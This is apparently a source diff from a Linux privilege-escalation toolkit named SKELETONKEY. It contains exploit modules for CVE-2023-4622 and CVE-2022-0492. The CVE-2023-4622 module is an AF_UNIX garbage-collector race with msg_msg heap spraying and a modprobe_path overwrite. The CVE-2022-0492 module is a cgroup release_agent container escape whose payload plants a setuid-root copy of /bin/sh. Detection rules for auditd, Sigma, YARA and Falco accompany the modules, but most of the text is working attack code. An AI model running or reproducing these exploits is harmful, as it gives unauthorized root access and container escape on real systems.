const void *buf, size_t len)
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x52; /* 'R' — arb-write reseed (distinct from groom 0x55) */
|
||||
memset(p.buf, 0x52, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMU4ARB", 8);
|
||||
|
||||
/* Plant kaddr at strided slots so wherever the kernel's UAF
|
||||
* follows a ptr in the refilled chunk, one of these is read.
|
||||
* unix_sock has multiple pointer fields (peer, link, scm_stat,
|
||||
* etc.) — strided coverage hits whichever one the UAF dispatch
|
||||
* dereferences. */
|
||||
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf;
|
||||
off += 0x18) {
|
||||
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
|
||||
}
|
||||
|
||||
/* Caller's bytes immediately after the cookie so any path that
|
||||
* reads payload data (rather than a chased pointer) finds the
|
||||
* requested write contents inline. */
|
||||
size_t copy = len;
|
||||
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
|
||||
if (buf && copy) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy);
|
||||
|
||||
int touched = 0;
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES && touched < 6; i++) {
|
||||
if (queues[i] < 0) continue;
|
||||
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
|
||||
}
|
||||
return touched;
|
||||
}
|
||||
|
||||
static int af_unix_gc_arb_write(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx_v)
|
||||
{
|
||||
struct af_unix_gc_arb_ctx *c = (struct af_unix_gc_arb_ctx *)ctx_v;
|
||||
if (!c || !c->queues || c->n_queues == 0) return -1;
|
||||
c->arb_calls++;
|
||||
|
||||
fprintf(stderr, "[*] af_unix_gc: arb_write attempt #%d kaddr=0x%lx len=%zu "
|
||||
"(FALLBACK — race-dependent)\n",
|
||||
c->arb_calls, (unsigned long)kaddr, len);
|
||||
|
||||
int seeded = af_unix_gc_reseed_kaddr_spray(c->queues, kaddr, buf, len);
|
||||
if (seeded == 0) {
|
||||
fprintf(stderr, "[-] af_unix_gc: arb_write: kaddr-tagged reseed produced 0 msgs\n");
|
||||
} else {
|
||||
fprintf(stderr, "[*] af_unix_gc: arb_write: reseeded %d msg_msg slots\n",
|
||||
seeded);
|
||||
}
|
||||
|
||||
/* Re-run the race with the extended budget. */
|
||||
atomic_store(&g_race_running, 1);
|
||||
atomic_store(&g_thread_a_iters, 0);
|
||||
atomic_store(&g_thread_b_iters, 0);
|
||||
atomic_store(&g_thread_a_errs, 0);
|
||||
|
||||
pthread_t ta, tb;
|
||||
bool a_ok = pthread_create(&ta, NULL, race_thread_a, NULL) == 0;
|
||||
bool b_ok = a_ok &&
|
||||
pthread_create(&tb, NULL, race_thread_b, NULL) == 0;
|
||||
if (!a_ok || !b_ok) {
|
||||
atomic_store(&g_race_running, 0);
|
||||
if (a_ok) pthread_join(ta, NULL);
|
||||
fprintf(stderr, "[-] af_unix_gc: arb_write: pthread_create failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sleep(AFUG_RACE_FULLCHAIN_BUDGET);
|
||||
atomic_store(&g_race_running, 0);
|
||||
pthread_join(ta, NULL);
|
||||
pthread_join(tb, NULL);
|
||||
|
||||
uint64_t a_iters = atomic_load(&g_thread_a_iters);
|
||||
uint64_t b_iters = atomic_load(&g_thread_b_iters);
|
||||
fprintf(stderr, "[*] af_unix_gc: arb_write: extended race A=%llu B=%llu\n",
|
||||
(unsigned long long)a_iters,
|
||||
(unsigned long long)b_iters);
|
||||
|
||||
/* Cannot in-process verify the write — let the finisher's sentinel
|
||||
* arbitrate. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
||||
* modprobe_path is unresolvable we refuse here rather than running
|
||||
* a 30 s race that has no finisher to call. */
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_unix_gc");
|
||||
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
||||
" a small fraction per run — see module header.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
||||
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
||||
" vulnerable kernel. The finisher's 3 s sentinel timeout\n"
|
||||
" catches no-land outcomes gracefully.\n",
|
||||
AFUG_RACE_FULLCHAIN_BUDGET);
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: forking exploit child (SCM_RIGHTS cycle "
|
||||
"race harness%s)\n",
|
||||
ctx->full_chain ? " + full-chain finisher" : "");
|
||||
}
|
||||
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
||||
* BEFORE the race so the freed unix_sock slot gets recycled
|
||||
* with attacker-controlled bytes when the bug fires. */
|
||||
int queues[AFUG_SPRAY_QUEUES] = {0};
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) queues[i] = -1;
|
||||
int n_queues = spray_kmalloc_512(queues);
|
||||
if (n_queues == 0) {
|
||||
fprintf(stderr, "[-] af_unix_gc: msg_msg spray produced 0 queues "
|
||||
"(sysv IPC restricted?)\n");
|
||||
_exit(23);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 spray seeded %d queues x %d msgs\n",
|
||||
n_queues, AFUG_SPRAY_PER_QUEUE);
|
||||
}
|
||||
|
||||
long slab_pre = slab_active_kmalloc_512();
|
||||
|
||||
/* 3. Run the race for a bounded time budget. */
|
||||
atomic_store(&g_race_running, 1);
|
||||
atomic_store(&g_thread_a_iters, 0);
|
||||
atomic_store(&g_thread_b_iters, 0);
|
||||
atomic_store(&g_thread_a_errs, 0);
|
||||
|
||||
pthread_t ta, tb;
|
||||
if (pthread_create(&ta, NULL, race_thread_a, NULL) != 0 ||
|
||||
pthread_create(&tb, NULL, race_thread_b, NULL) != 0) {
|
||||
fprintf(stderr, "[-] af_unix_gc: pthread_create failed\n");
|
||||
atomic_store(&g_race_running, 0);
|
||||
drain_kmalloc_512(queues);
|
||||
_exit(24);
|
||||
}
|
||||
|
||||
sleep(AFUG_RACE_TIME_BUDGET);
|
||||
atomic_store(&g_race_running, 0);
|
||||
pthread_join(ta, NULL);
|
||||
pthread_join(tb, NULL);
|
||||
|
||||
long slab_post = slab_active_kmalloc_512();
|
||||
uint64_t a_iters = atomic_load(&g_thread_a_iters);
|
||||
uint64_t b_iters = atomic_load(&g_thread_b_iters);
|
||||
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
||||
|
||||
/* 4. Empirical witness breadcrumb. */
|
||||
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"af_unix_gc race harness (CVE-2023-4622):\n"
|
||||
" thread_a_iters = %llu (SCM_RIGHTS cycle + close)\n"
|
||||
" thread_b_iters = %llu (SCM_RIGHTS perturb)\n"
|
||||
" thread_a_errors = %llu (socketpair / send failures)\n"
|
||||
" slab_kmalloc512_pre = %ld\n"
|
||||
" slab_kmalloc512_post = %ld\n"
|
||||
" slab_delta = %ld\n"
|
||||
" spray_queues = %d\n"
|
||||
" spray_per_queue = %d\n"
|
||||
" race_budget_secs = %d\n"
|
||||
"Note: this run did NOT attempt cred overwrite. The bug is a\n"
|
||||
"slab UAF with no in-process leak primitive; per-kernel offsets\n"
|
||||
"for unix_sock layout aren't baked. See module .c for the\n"
|
||||
"continuation roadmap (Lin Ma fake-peer plant).\n",
|
||||
(unsigned long long)a_iters,
|
||||
(unsigned long long)b_iters,
|
||||
(unsigned long long)a_errs,
|
||||
slab_pre, slab_post,
|
||||
(slab_post >= 0 && slab_pre >= 0) ? (slab_post - slab_pre) : 0,
|
||||
n_queues, AFUG_SPRAY_PER_QUEUE,
|
||||
AFUG_RACE_TIME_BUDGET);
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: race ran for %ds — A=%llu B=%llu A_errs=%llu\n",
|
||||
AFUG_RACE_TIME_BUDGET,
|
||||
(unsigned long long)a_iters,
|
||||
(unsigned long long)b_iters,
|
||||
(unsigned long long)a_errs);
|
||||
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 active: pre=%ld post=%ld\n",
|
||||
slab_pre, slab_post);
|
||||
}
|
||||
|
||||
/* Hold the spray briefly so the kernel observes refilled slots
|
||||
* during any in-flight RCU grace periods that started during
|
||||
* the race. */
|
||||
usleep(200 * 1000);
|
||||
|
||||
/* 5. --full-chain finisher (FALLBACK depth). */
|
||||
if (full_chain_ready) {
|
||||
struct af_unix_gc_arb_ctx arb_ctx = {
|
||||
.queues = queues,
|
||||
.n_queues = AFUG_SPRAY_QUEUES,
|
||||
.arb_calls = 0,
|
||||
};
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
af_unix_gc_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_kmalloc_512(queues);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
drain_kmalloc_512(queues);
|
||||
|
||||
/* 6. Continuation roadmap — what would land EXPLOIT_OK.
|
||||
*
|
||||
* TODO(leak): replace a spray queue with msgrcv(..., MSG_COPY|
|
||||
* IPC_NOWAIT) probes and scan the returned buffer for non-
|
||||
* cookie bytes. A freed unix_sock that's refilled by msg_msg
|
||||
* after a partial overwrite would leak kernel pointers
|
||||
* (peer, scm_stat, list_node prev/next) into the readback.
|
||||
* Recover {kbase, init_task} via that leak.
|
||||
*
|
||||
* TODO(write): with kbase known, plant a fake unix_sock
|
||||
* whose `peer` pointer references ¤t->cred — the
|
||||
* next SCM_RIGHTS dispatch through the freed slot writes
|
||||
* a controlled value into that location. Crafting the
|
||||
* fake unix_sock requires offset of unix_sock fields per
|
||||
* kernel build (different across LTS branches).
|
||||
*
|
||||
* TODO(overwrite): land &init_cred over current->cred so
|
||||
* the next permission check sees uid==0.
|
||||
*
|
||||
* None of these are implemented today. Exit 30 = "trigger
|
||||
* ran cleanly, no escalation".
|
||||
*/
|
||||
_exit(30);
|
||||
}
|
||||
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_unix_gc: race child killed by signal %d "
|
||||
"(consistent with UAF firing under KASAN)\n", sig);
|
||||
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] af_unix_gc: --full-chain finisher ran; race did not\n"
|
||||
" win + land within budget (expected outcome on most\n"
|
||||
" runs — race wins are a fraction of a percent).\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: race harness ran to completion.\n");
|
||||
fprintf(stderr, "[~] af_unix_gc: read/write/cred-overwrite primitives NOT\n"
|
||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
#ifdef __linux__
|
||||
return af_unix_gc_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
||||
}
|
||||
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
/* Race threads + msg queues live inside the now-exited child;
|
||||
* nothing else to drain. */
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char af_unix_gc_auditd[] =
|
||||
"# AF_UNIX GC race UAF (CVE-2023-4622) — auditd detection rules\n"
|
||||
"# The trigger is a tight loop of socketpair(AF_UNIX) + sendmsg with\n"
|
||||
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
||||
"# benign — flag the *frequency* by correlating these keys with a\n"
|
||||
"# subsequent KASAN message in dmesg.\n"
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
static const char af_unix_gc_sigma[] =
|
||||
"title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
|
||||
"id: c45d7eb3-skeletonkey-af-unix-gc\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
|
||||
" + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
|
||||
" collector race. False positives: legitimate IPC apps use\n"
|
||||
" SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
|
||||
" unusual outside fuzzing / exploit harnesses.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sp: {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
|
||||
" scm: {type: 'SYSCALL', syscall: 'sendmsg'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: sp and scm and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
|
||||
|
||||
static const char af_unix_gc_yara[] =
|
||||
"rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-4622\"\n"
|
||||
" description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEYU\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_unix_gc_falco[] =
|
||||
"- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
|
||||
" desc: |\n"
|
||||
" Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
|
||||
" pattern characteristic of the AF_UNIX garbage collector\n"
|
||||
" race (CVE-2023-4622). False positives: IPC libraries use\n"
|
||||
" SCM_RIGHTS legitimately but rarely with the close-and-\n"
|
||||
" recreate cycle at this frequency.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
|
||||
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
||||
.family = "af_unix",
|
||||
.kernel_range = "K < 6.5; backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51",
|
||||
.detect = af_unix_gc_detect,
|
||||
.exploit = af_unix_gc_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = af_unix_gc_cleanup,
|
||||
.detect_auditd = af_unix_gc_auditd,
|
||||
.detect_sigma = af_unix_gc_sigma,
|
||||
.detect_yara = af_unix_gc_yara,
|
||||
.detect_falco = af_unix_gc_falco,
|
||||
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
{
|
||||
skeletonkey_register(&af_unix_gc_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
# NOTICE — cgroup_release_agent (CVE-2022-0492)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-0492** — cgroup v1 `release_agent` privilege check in the
|
||||
wrong namespace → host root from a rootless container or unprivileged
|
||||
userns by mounting cgroup v1 and writing to `release_agent`.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Yiqi Sun** + **Kevin Wang** (Trend Micro Research),
|
||||
January 2022.
|
||||
|
||||
Original writeup:
|
||||
<https://blog.trendmicro.com/cve-2022-0492-from-cgroup-loophole-to-container-breakout/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
**Universal structural exploit — no per-kernel offsets, no race.**
|
||||
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
||||
write `release_agent` → `./payload`, trigger via
|
||||
`notify_on_release` + cgroup process exit.
|
||||
|
||||
Kept in the corpus as a portable "containers misconfigured"
|
||||
demonstration — works across every kernel below the fix without any
|
||||
tuning. Ships auditd rules covering cgroupfs mounts and
|
||||
`release_agent` writes.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
+130
-67
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
|
||||
*
|
||||
* cgroup v1 release_agent file is checked only for "is the writer
|
||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||
@@ -36,9 +36,8 @@
|
||||
* exposure even if all the fancy heap-spray bugs are patched.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -46,6 +45,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -71,54 +75,50 @@ static const struct kernel_range cgroup_ra_range = {
|
||||
sizeof(cgroup_ra_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
/* The unprivileged-userns precondition is now read from the shared
|
||||
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||
* probes once at startup via core/host.c. The previous per-detect
|
||||
* fork-probe helper was removed. */
|
||||
|
||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
|
||||
static const char PAYLOAD_SHELL[] =
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
||||
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/skeletonkey-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
|
||||
|
||||
static bool write_file(const char *path, const char *content)
|
||||
{
|
||||
@@ -147,23 +147,26 @@ static bool write_file(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
